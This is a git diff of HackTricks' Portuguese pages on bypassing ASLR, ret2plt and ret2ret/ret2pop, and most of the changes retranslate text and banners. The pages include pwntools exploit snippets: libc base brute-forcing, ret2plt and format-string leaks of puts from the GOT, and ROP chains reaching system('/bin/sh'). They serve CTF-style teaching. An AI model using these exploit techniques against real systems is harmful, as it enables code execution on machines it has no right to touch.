HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md b/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md index 534c76efe..3a19d5261 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md @@ -1,54 +1,54 @@ # ASLR {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -## Informações Básicas +## Basic Information -**Randomização do Layout do Espaço de Endereços (ASLR)** é uma técnica de segurança usada em sistemas operacionais para **randomizar os endereços de memória** usados por processos do sistema e de aplicativos. Ao fazer isso, torna significativamente mais difícil para um atacante prever a localização de processos e dados específicos, como a pilha, heap e bibliotecas, mitigando assim certos tipos de exploits, especialmente estouros de buffer. +**Address Space Layout Randomization (ASLR)** é uma técnica de segurança utilizada em sistemas operacionais para **randomizar os endereços de memória** usados por processos do sistema e de aplicativos. Ao fazer isso, torna-se significativamente mais difícil para um atacante prever a localização de processos e dados específicos, como a pilha, heap e bibliotecas, mitigando assim certos tipos de exploits, particularmente buffer overflows. -### **Verificando o Status do ASLR** +### **Checking ASLR Status** -Para **verificar** o status do ASLR em um sistema Linux, você pode ler o valor do arquivo **`/proc/sys/kernel/randomize_va_space`**. O valor armazenado neste arquivo determina o tipo de ASLR aplicado: +Para **verificar** o status do ASLR em um sistema Linux, você pode ler o valor do arquivo **`/proc/sys/kernel/randomize_va_space`**. O valor armazenado neste arquivo determina o tipo de ASLR que está sendo aplicado: * **0**: Sem randomização. Tudo é estático. * **1**: Randomização conservadora. Bibliotecas compartilhadas, pilha, mmap(), página VDSO são randomizadas. -* **2**: Randomização completa. Além dos elementos randomizados pela randomização conservadora, a memória gerenciada por meio de `brk()` é randomizada. +* **2**: Randomização total. Além dos elementos randomizados pela randomização conservadora, a memória gerenciada através de `brk()` é randomizada. Você pode verificar o status do ASLR com o seguinte comando: ```bash cat /proc/sys/kernel/randomize_va_space ``` -### **Desativando ASLR** +### **Desabilitando ASLR** -Para **desativar** o ASLR, você define o valor de `/proc/sys/kernel/randomize_va_space` como **0**. Desativar o ASLR geralmente não é recomendado fora de cenários de teste ou depuração. Veja como você pode desativá-lo: +Para **desabilitar** ASLR, você define o valor de `/proc/sys/kernel/randomize_va_space` para **0**. Desabilitar ASLR geralmente não é recomendado fora de cenários de teste ou depuração. Aqui está como você pode desabilitá-lo: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` -Você também pode desativar o ASLR para uma execução com: +Você também pode desativar ASLR para uma execução com: ```bash setarch `arch` -R ./bin args setarch `uname -m` -R ./bin args ``` -### **Ativando ASLR** +### **Habilitando ASLR** -Para **ativar** o ASLR, você pode escrever um valor de **2** no arquivo `/proc/sys/kernel/randomize_va_space`. Isso geralmente requer privilégios de root. A ativação da randomização completa pode ser feita com o seguinte comando: +Para **habilitar** ASLR, você pode escrever um valor de **2** no arquivo `/proc/sys/kernel/randomize_va_space`. Isso geralmente requer privilégios de root. Habilitar a randomização completa pode ser feito com o seguinte comando: ```bash echo 2 | sudo tee /proc/sys/kernel/randomize_va_space ``` -### **Persistência através de reinicializações** +### **Persistência Entre Reinicializações** As alterações feitas com os comandos `echo` são temporárias e serão redefinidas após a reinicialização. Para tornar a alteração persistente, você precisa editar o arquivo `/etc/sysctl.conf` e adicionar ou modificar a seguinte linha: ```tsconfig @@ -56,39 +56,39 @@ kernel.randomize_va_space=2 # Enable ASLR # or kernel.randomize_va_space=0 # Disable ASLR ``` -Depois de editar `/etc/sysctl.conf`, aplique as alterações com: +Após editar `/etc/sysctl.conf`, aplique as alterações com: ```bash sudo sysctl -p ``` -Isso garantirá que suas configurações de ASLR permaneçam após reinicializações. +Isso garantirá que suas configurações de ASLR permaneçam entre reinicializações. ## **Bypasses** -### Forçando por tentativa e erro em sistemas de 32 bits +### Força bruta de 32 bits -O PaX divide o espaço de endereçamento do processo em **3 grupos**: +PaX divide o espaço de endereçamento do processo em **3 grupos**: -* **Código e dados** (inicializados e não inicializados): `.text`, `.data` e `.bss` —> **16 bits** de entropia na variável `delta_exec`. Essa variável é inicializada aleatoriamente a cada processo e adicionada aos endereços iniciais. -* **Memória** alocada por `mmap()` e **bibliotecas compartilhadas** —> **16 bits**, chamado `delta_mmap`. -* **A pilha** —> **24 bits**, referido como `delta_stack`. No entanto, ele efetivamente usa **11 bits** (do 10º ao 20º byte inclusive), alinhados a **16 bytes** —> Isso resulta em **524.288 possíveis endereços reais de pilha**. +* **Código e dados** (inicializados e não inicializados): `.text`, `.data` e `.bss` —> **16 bits** de entropia na variável `delta_exec`. Esta variável é inicializada aleatoriamente com cada processo e adicionada aos endereços iniciais. +* **Memória** alocada por `mmap()` e **bibliotecas compartilhadas** —> **16 bits**, chamada `delta_mmap`. +* **A pilha** —> **24 bits**, referida como `delta_stack`. No entanto, ela efetivamente usa **11 bits** (do 10º ao 20º byte, inclusive), alinhados a **16 bytes** —> Isso resulta em **524.288 endereços de pilha reais possíveis**. -Os dados anteriores são para sistemas de 32 bits e a entropia final reduzida torna possível contornar o ASLR tentando a execução repetidamente até que o exploit seja concluído com sucesso. +Os dados anteriores são para sistemas de 32 bits e a entropia final reduzida torna possível contornar o ASLR tentando a execução repetidamente até que a exploração seja concluída com sucesso. #### Ideias de força bruta: -* Se você tiver um estouro grande o suficiente para hospedar um **grande trenó NOP antes do shellcode**, você poderia apenas forçar endereços na pilha até que o fluxo **salte sobre alguma parte do trenó NOP**. -* Outra opção para isso, caso o estouro não seja tão grande e o exploit possa ser executado localmente, é possível **adicionar o trenó NOP e o shellcode em uma variável de ambiente**. -* Se o exploit for local, você pode tentar forçar o endereço base da libc (útil para sistemas de 32 bits): +* Se você tiver um estouro grande o suficiente para hospedar um **grande NOP sled antes do shellcode**, você poderia simplesmente forçar endereços na pilha até que o fluxo **salte sobre alguma parte do NOP sled**. +* Outra opção para isso, caso o estouro não seja tão grande e a exploração possa ser executada localmente, é possível **adicionar o NOP sled e o shellcode em uma variável de ambiente**. +* Se a exploração for local, você pode tentar forçar o endereço base da libc (útil para sistemas de 32 bits): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` -* Se estiver atacando um servidor remoto, você pode tentar **forçar a endereço da função `usleep` da `libc`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor demorar 10s extras para responder**, você encontrou o endereço dessa função. +* Se você estiver atacando um servidor remoto, pode tentar **forçar a descoberta do endereço da função `usleep` da `libc`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor demora 10s a mais para responder**, você encontrou o endereço dessa função. {% hint style="success" %} Em sistemas de 64 bits, a entropia é muito maior e isso não deveria ser possível. {% endhint %} -### Forçando a pilha de 64 bits +### Força bruta na pilha de 64 bits É possível ocupar uma grande parte da pilha com variáveis de ambiente e então tentar abusar do binário centenas/milhares de vezes localmente para explorá-lo.\ O código a seguir mostra como é possível **apenas selecionar um endereço na pilha** e a cada **algumas centenas de execuções** esse endereço conterá a **instrução NOP**: @@ -157,28 +157,28 @@ pass ```
-### Informação Local (`/proc/[pid]/stat`) +### Informações Locais (`/proc/[pid]/stat`) -O arquivo **`/proc/[pid]/stat`** de um processo é sempre legível por todos e ele **contém informações interessantes** como: +O arquivo **`/proc/[pid]/stat`** de um processo é sempre legível por todos e **contém informações interessantes** como: -- **startcode** e **endcode**: Endereços acima e abaixo com o **TEXTO** do binário -- **startstack**: O endereço do início da **pilha** -- **start\_data** e **end\_data**: Endereços acima e abaixo onde está o **BSS** -- **kstkesp** e **kstkeip**: Endereços atuais de **ESP** e **EIP** -- **arg\_start** e **arg\_end**: Endereços acima e abaixo onde estão os **argumentos da linha de comando** -- **env\_start** e **env\_end**: Endereços acima e abaixo onde estão as **variáveis de ambiente** +* **startcode** & **endcode**: Endereços acima e abaixo com o **TEXT** do binário +* **startstack**: O endereço do início da **stack** +* **start\_data** & **end\_data**: Endereços acima e abaixo onde está o **BSS** +* **kstkesp** & **kstkeip**: Endereços atuais de **ESP** e **EIP** +* **arg\_start** & **arg\_end**: Endereços acima e abaixo onde estão os **argumentos do cli**. +* **env\_start** &**env\_end**: Endereços acima e abaixo onde estão as **variáveis de ambiente**. -Portanto, se o atacante estiver no mesmo computador que o binário sendo explorado e esse binário não esperar o estouro a partir de argumentos brutos, mas de uma **entrada diferente que pode ser criada após a leitura deste arquivo**. É possível para um atacante **obter alguns endereços deste arquivo e construir offsets a partir deles para o exploit**. +Portanto, se o atacante estiver no mesmo computador que o binário sendo explorado e este binário não espera o overflow de argumentos brutos, mas de uma **entrada diferente que pode ser criada após a leitura deste arquivo**. É possível para um atacante **obter alguns endereços deste arquivo e construir offsets a partir deles para a exploração**. {% hint style="success" %} -Para mais informações sobre este arquivo, acesse [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) procurando por `/proc/pid/stat` +Para mais informações sobre este arquivo, consulte [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) procurando por `/proc/pid/stat` {% endhint %} -### Tendo um vazamento +### Tendo um leak -- **O desafio é fornecer um vazamento** +* **O desafio é fornecer um leak** -Se você receber um vazamento (desafios fáceis de CTF), você pode calcular offsets a partir dele (supondo, por exemplo, que você saiba a versão exata da libc que está sendo usada no sistema que está explorando). Este exploit de exemplo é extraído do [**exemplo daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (verifique essa página para mais detalhes): +Se você receber um leak (desafios fáceis de CTF), você pode calcular offsets a partir dele (supondo, por exemplo, que você conhece a versão exata da libc que está sendo usada no sistema que você está explorando). Este exemplo de exploração é extraído do [**exemplo daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (ver essa página para mais detalhes): ```python from pwn import * @@ -205,15 +205,15 @@ p.interactive() ``` * **ret2plt** -Aproveitando um estouro de buffer, seria possível explorar um **ret2plt** para extrair o endereço de uma função da libc. Verifique: +Abusando de um buffer overflow, seria possível explorar um **ret2plt** para exfiltrar um endereço de uma função da libc. Verifique: {% content-ref url="ret2plt.md" %} [ret2plt.md](ret2plt.md) {% endcontent-ref %} -* **Leitura Arbitrária de Strings de Formato** +* **Format Strings Arbitrary Read** -Assim como no ret2plt, se você tiver uma leitura arbitrária via uma vulnerabilidade de strings de formato, é possível extrair o endereço de uma **função libc** do GOT. O seguinte [**exemplo está aqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got): +Assim como no ret2plt, se você tiver uma leitura arbitrária através de uma vulnerabilidade de format strings, é possível exfiltrar o endereço de uma **função da libc** do GOT. O seguinte [**exemplo é daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got): ```python payload = p32(elf.got['puts']) # p64() if 64-bit payload += b'|' @@ -224,7 +224,7 @@ payload += b'%3$s' # The third parameter points at the start of the payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer payload += p32(elf.symbols['main']) ``` -Pode encontrar mais informações sobre a leitura arbitrária de strings de formato em: +Você pode encontrar mais informações sobre leitura arbitrária de Strings de Formato em: {% content-ref url="../../format-strings/" %} [format-strings](../../format-strings/) @@ -240,12 +240,12 @@ Tente contornar o ASLR abusando de endereços dentro da pilha: ### vsyscall -O mecanismo **`vsyscall`** serve para melhorar o desempenho, permitindo que certas chamadas de sistema sejam executadas no espaço do usuário, embora façam parte fundamental do kernel. A principal vantagem das **vsyscalls** está em seus **endereços fixos**, que não estão sujeitos à **ASLR** (Randomização do Layout do Espaço de Endereços). Essa natureza fixa significa que os atacantes não precisam de uma vulnerabilidade de vazamento de informações para determinar seus endereços e usá-los em uma exploração.\ -No entanto, não serão encontrados gadgets super interessantes aqui (embora, por exemplo, seja possível obter um equivalente a `ret;`) +O mecanismo **`vsyscall`** serve para melhorar o desempenho permitindo que certas chamadas de sistema sejam executadas no espaço do usuário, embora sejam fundamentalmente parte do kernel. A vantagem crítica dos **vsyscalls** reside em seus **endereços fixos**, que não estão sujeitos ao **ASLR** (Randomização de Layout de Espaço de Endereçamento). Essa natureza fixa significa que os atacantes não precisam de uma vulnerabilidade de vazamento de informações para determinar seus endereços e usá-los em um exploit.\ +No entanto, nenhum gadget super interessante será encontrado aqui (embora, por exemplo, seja possível obter um equivalente a `ret;`) -(O exemplo e código a seguir são [**deste artigo**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation)) +(O seguinte exemplo e código é [**deste writeup**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation)) -Por exemplo, um atacante pode usar o endereço `0xffffffffff600800` dentro de uma exploração. Enquanto tentar pular diretamente para uma instrução `ret` pode levar à instabilidade ou falhas após a execução de alguns gadgets, pular para o início de uma `syscall` fornecida pela seção **vsyscall** pode ser bem-sucedido. Ao colocar cuidadosamente um gadget **ROP** que direcione a execução para este endereço **vsyscall**, um atacante pode obter a execução de código sem precisar contornar o **ASLR** para esta parte da exploração. +Por exemplo, um atacante pode usar o endereço `0xffffffffff600800` dentro de um exploit. Enquanto tentar pular diretamente para uma instrução `ret` pode levar à instabilidade ou falhas após a execução de alguns gadgets, pular para o início de um `syscall` fornecido pela seção **vsyscall** pode se mostrar bem-sucedido. Ao colocar cuidadosamente um gadget **ROP** que leva a execução para este endereço **vsyscall**, um atacante pode conseguir a execução de código sem precisar contornar o **ASLR** para esta parte do exploit. ``` ef➤ vmmap Start End Offset Perm Path @@ -293,3 +293,18 @@ Note que pode ser possível **burlar o ASLR abusando do vdso** se o kernel for c {% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %} [ret2vdso.md](../../rop-return-oriented-programing/ret2vdso.md) {% endcontent-ref %} + +{% hint style="success" %} +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). + +
+{% endhint %} diff --git a/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md b/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md index 8e1c81488..47ba54620 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md @@ -1,10 +1,25 @@ # Ret2plt -## Informações Básicas +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) -O objetivo desta técnica seria **vazar um endereço de uma função do PLT** para poder contornar o ASLR. Isso ocorre porque, por exemplo, se você vazar o endereço da função `puts` da libc, você pode então **calcular onde está a base da `libc`** e calcular offsets para acessar outras funções como **`system`**. +
-Isso pode ser feito com um payload `pwntools` como ([**aqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)): +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} + +## Basic Information + +O objetivo desta técnica seria **vazar um endereço de uma função do PLT** para conseguir contornar o ASLR. Isso ocorre porque, se, por exemplo, você vazar o endereço da função `puts` da libc, você pode então **calcular onde está a base da `libc`** e calcular offsets para acessar outras funções como **`system`**. + +Isso pode ser feito com um payload `pwntools` como ([**a partir daqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)): ```python # 32-bit ret2plt payload = flat( @@ -23,15 +38,15 @@ elf.plt['puts'], elf.symbols['main'] ) ``` -Observe como o **`puts`** (usando o endereço do PLT) é chamado com o endereço do `puts` localizado na GOT (Tabela de Deslocamento Global). Isso ocorre porque, no momento em que o `puts` imprime a entrada da GOT do `puts`, esta **entrada conterá o endereço exato do `puts` na memória**. +Note como **`puts`** (usando o endereço do PLT) é chamado com o endereço de `puts` localizado na GOT (Tabela de Deslocamento Global). Isso ocorre porque, quando `puts` imprime a entrada da GOT de puts, esta **entrada conterá o endereço exato de `puts` na memória**. -Também observe como o endereço do `main` é usado no exploit, para que quando o `puts` encerre sua execução, o **binário chame `main` novamente em vez de sair** (para que o endereço vazado continue válido). +Também note como o endereço de `main` é usado no exploit, então quando `puts` termina sua execução, o **binário chama `main` novamente em vez de sair** (assim o endereço vazado continuará a ser válido). {% hint style="danger" %} -Observe que, para que isso funcione, o **binário não pode ser compilado com PIE** ou você deve ter **encontrado um vazamento para contornar o PIE** a fim de saber o endereço do PLT, GOT e main. Caso contrário, você precisará contornar o PIE primeiro. +Note como, para que isso funcione, o **binário não pode ser compilado com PIE** ou você deve ter **encontrado um leak para contornar o PIE** a fim de saber o endereço do PLT, GOT e main. Caso contrário, você precisa contornar o PIE primeiro. {% endhint %} -Você pode encontrar um [**exemplo completo desse contorno aqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Este foi o exploit final desse **exemplo**: +Você pode encontrar um [**exemplo completo desse bypass aqui**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Este foi o exploit final daquele **exemplo**: ```python from pwn import * @@ -70,6 +85,21 @@ p.interactive() ## Outros exemplos e Referências * [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) -* 64 bits, ASLR ativado mas sem PIE, o primeiro passo é preencher um estouro de buffer até o byte 0x00 do canário e então chamar puts para vazá-lo. Com o canário, um ROP gadget é criado para chamar puts e vazar o endereço de puts da GOT e um ROP gadget para chamar `system('/bin/sh')`. +* 64 bits, ASLR habilitado, mas sem PIE, o primeiro passo é preencher um overflow até o byte 0x00 do canário para então chamar puts e vazar. Com o canário, um gadget ROP é criado para chamar puts e vazar o endereço de puts da GOT e então um gadget ROP para chamar `system('/bin/sh')` * [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html) -* 64 bits, ASLR ativado, sem canário, estouro de pilha em main a partir de uma função filha. ROP gadget para chamar puts e vazar o endereço de puts da GOT e então chamar um one gadget. +* 64 bits, ASLR habilitado, sem canário, overflow de pilha na função principal a partir de uma função filha. Gadget ROP para chamar puts e vazar o endereço de puts da GOT e então chamar um gadget. + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md b/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md index aca33090d..db64c0492 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md @@ -1,16 +1,16 @@ -# Ret2ret & Ret2pop +# Ret2ret & Reo2pop {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} @@ -19,41 +19,41 @@ Aprenda e pratique Hacking GCP: ; ret`**.\ +Caso você consiga encontrar um **ponteiro perfeito na pilha que não deseja modificar** (no `ret2ret` mudamos o byte final mais baixo para `0x00`), você pode realizar o mesmo ataque `ret2ret`, mas o **comprimento do RET sled deve ser encurtado em 1** (para que o final `0x00` sobrescreva os dados logo antes do ponteiro perfeito), e o **último** endereço do RET sled deve apontar para **`pop ; ret`**.\ Dessa forma, os **dados antes do ponteiro perfeito serão removidos** da pilha (esses são os dados afetados pelo `0x00`) e o **último `ret` apontará para o endereço perfeito** na pilha sem nenhuma alteração. -Seguindo [**este link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) você pode ver um exemplo de um binário vulnerável e [**neste**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) o exploit. +Seguindo [**este link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) você pode ver um exemplo de um binário vulnerável e [**neste aqui** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) o exploit. ## Referências * [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md) {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md b/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md index 1314fd25d..ca7b660f5 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md @@ -1,51 +1,51 @@ # CET & Shadow Stack {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking na AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking no GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
